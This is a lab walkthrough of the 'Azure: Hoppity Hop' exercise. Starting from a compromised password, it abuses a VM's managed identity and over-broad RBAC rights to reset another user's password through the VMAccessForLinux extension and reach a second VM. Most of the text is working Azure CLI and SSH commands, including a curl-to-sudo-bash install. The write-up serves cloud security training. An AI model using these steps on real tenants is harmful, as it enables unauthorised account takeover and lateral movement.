# Azure: Hoppity Hop {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0

](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** In Azure: Hoppity Hop we are faced with the following scenario: > ### Lab Scenario > > * During the reconnaissance, you came across a password: `WhereIsMyMind$#@!` > * You don't know much about which permissions you have on the Azure Portal > * You don't know much about which resources you can access on the Azure Portal > * All you have is a compromised password > * Which attack path(s) can you discover and how will you exploit them?

Summary

In Azure: Hoppity Hop we begin with valid credentials to access a Linux VM in Azure and leverage its managed identity to enumerate the tenant and associated resource groups. Through Azure CLI enumeration, we discover elevated RBAC permissions that grant ownership over another virtual machine within the same resource group. Abusing these permissions, we deploy a legitimate VM extension to reset credentials on the secondary VM and gain access as `tyler`, demonstrating lateral movement and privilege escalation within an Azure environment through misconfigured managed identities and over-permissioned roles.

We open the dashboard of Microsoft Azure and head to `Resource` or `All resources`. At `All resource` in Microsoft Azure we'll find two VMs `LinuxVM` and `LinuxVM1`.

If we click on that resource we can find a username at the `Connect` page in the SSH connection string. Furthermore we see a public facing ip address of the machine. In this case `172.171.217.238`.

So, we now have a username `azureuser` and a password from the reconnaissance from the scenario. ``` azureuser:WhereIsMyMind$#@! ``` We try to connect and gain access to the VM. ``` ssh azureuser@172.171.217.238 ```

If we inspect the `LinuxVM1` we find another connection string. This time with the user `tyler`. But that user has a different password. We cannot connect using SSH.

`Like in Azure: Eyes Wide Shut` we proceed with the Azure CLI on the target VM to enumerate the target and tennant and eventually escalate our privileges or move laterally. We install the Azure CLI: ``` curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash ```

Next, we log in as follows: ``` az login --identity ``` We authenticate to Azure using the managed identity of the current resource instead of user credentials. We should be now able to access resources.

We lists all Azure resource groups in the current subscription and displays them in a readable table format. We find the resource group `rg-10317041`. ``` az group list -o table ```

Next, we list all virtual machines within the specified resource group `rg-10317041` and displays them in a table format. `LinuxVM` and `LinuxVM1` are part of the resource group. ``` az vm list -g -o table ``` ``` az vm list -g rg-10317041 -o table ```

We continue listing all resources within the resource group `rg-10317041` and presents them in a table format. ``` az resource list -g -o table ``` ``` az resource list -g rg-10317041 -o table ```

Next, we enumerate the system-assigned managed identity for `LinuxVM` - the `principalID` - which we will use as the assignee when checking RBAC permissions. ``` az vm identity show -g -n LinuxVM ``` ``` az vm identity show -g rg-10317041 -n LinuxVM ```

``` principalId: 5929a124-f169-4e45-aee6-8f776b149771 ``` Now we try to extract the resource `LinuxVM1` and note down the `subscriptionID` so we can construct precise RBAC scopes for role queries. ``` az resource list -g -n LinuxVM1 ``` ``` az resource list -g rg-10317041 -n LinuxVM1 ```

``` subId: 1746294a-5aa8-4cbb-82a4-11e731b20942 ``` Next, we list role assignments to quickly spot elevated roles for the VM identity within the resource group. This shows whether the VM’s managed identity is Owner/Contributor/Reader at the resource-group scope: {% code overflow="wrap" %} ``` az role assignment list --assignee --scope /subscriptions//resourceGroups/ -o table ``` {% endcode %} {% code overflow="wrap" %} ``` az role assignment list --assignee 5929a124-f169-4e45-aee6-8f776b149771 --scope /subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/resourceGroups/rg-10317041 -o table ``` {% endcode %}

We need to retrieve the same role assignments as raw JSON so we can capture full metadata... We extract the `RoleDefintionID`, with that we can query the exact permissions. {% code overflow="wrap" %} ``` az role assignment list --assignee --scope /subscriptions//resourceGroups/ ``` {% endcode %} {% code overflow="wrap" %} ``` az role assignment list --assignee 5929a124-f169-4e45-aee6-8f776b149771 --scope /subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/resourceGroups/rg-10317041 ``` {% endcode %}

{% code overflow="wrap" %} ``` /subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/providers/Microsoft.Authorization/roleDefinitions/9980e02c-c2be-4d73-94e8-173b1dc7cf3c ``` {% endcode %} We inspect the the permissions of the role with `/subscriptions//resourceGroups/` ``` az role definition show --id --query "permissions" ``` {% code overflow="wrap" %} ``` az role definition show --id /subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/providers/Microsoft.Authorization/roleDefinitions/9980e02c-c2be-4d73-94e8-173b1dc7cf3c --query "permissions" ``` {% endcode %}

From its `actions`, we can see it includes: ``` "Microsoft.Compute/virtualMachines/*" ``` That means all operations (`*`) under the `Microsoft.Compute/virtualMachines` namespace, not just `read` or `start`, but also create, update, and extensions management are applicable. With that we can deploy a VM extension called `VMAccessForLinux`, published by Microsoft: ``` "type": "Microsoft.Compute/virtualMachines/extensions", "typePropertiesType": "VMAccessForLinux" ``` That extension is used in Azure to: * reset Linux user passwords, * create users, * or reset SSH keys. See: {% embed url="" %} This should allow us to update the password of `tyler` on `LinuxVM1`: ``` az vm user update -u tyler -p 'Pwned123!' -n LinuxVM1 -g ``` ``` az vm user update -u tyler -p 'Pwned123!' -n LinuxVM1 -g rg-10317041 ```

Next, we try to log in to `LinuxVM1` as tyler with `Tyler:Pwned123!` and find the flag at `/home/tyler/flag.txt`. ``` ssh tyler@4.246.192.249 ```